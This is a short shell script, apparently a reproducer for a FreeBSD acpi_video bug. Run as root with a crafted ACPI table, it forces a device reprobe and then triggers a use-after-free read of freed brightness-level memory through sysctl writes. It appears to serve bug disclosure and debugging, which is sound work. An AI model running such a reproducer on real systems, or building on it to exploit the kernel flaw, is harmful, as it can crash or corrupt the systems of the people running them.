#!/bin/sh
# DF-4484 decisive run — to be executed as root on the guest with SSDT-A loaded.
echo "=== env ==="; uname -a
echo "=== 1. load acpi_video (attach: LCD0._BCL call #1 -> valid package) ==="
kldload acpi_video; sleep 2
echo "--- levels after attach (expect: 100 55 90 75 55 25) ---"
sysctl hw.acpi.video.lcd0.levels
sysctl hw.acpi.video.lcd0.fullpower
echo "=== 2. active read #1 (_DCS #1, no notify) ==="
sysctl hw.acpi.video.lcd0.active
echo "=== 3. active read #2 (_DCS #2 -> Notify(VGT0,0x81) REPROBE -> rebind -> _BCL #2 FAILS) ==="
sysctl hw.acpi.video.lcd0.active
sleep 2
echo "--- levels after reprobe (expect: EMPTY = numlevels 0, pointer dangling) ---"
sysctl hw.acpi.video.lcd0.levels
dmesg | tail -2
echo "=== 4. UAF read: write fullpower=-1 -> presets handler reads freed vo_levels[0] ==="
for i in 1 2 3; do
  sysctl -w hw.acpi.video.lcd0.fullpower=-1
  sysctl hw.acpi.video.lcd0.fullpower
  sysctl hw.acpi.video.crt0.active >/dev/null   # ACPI eval churn between samples
  sleep 1
done
echo "=== done ==="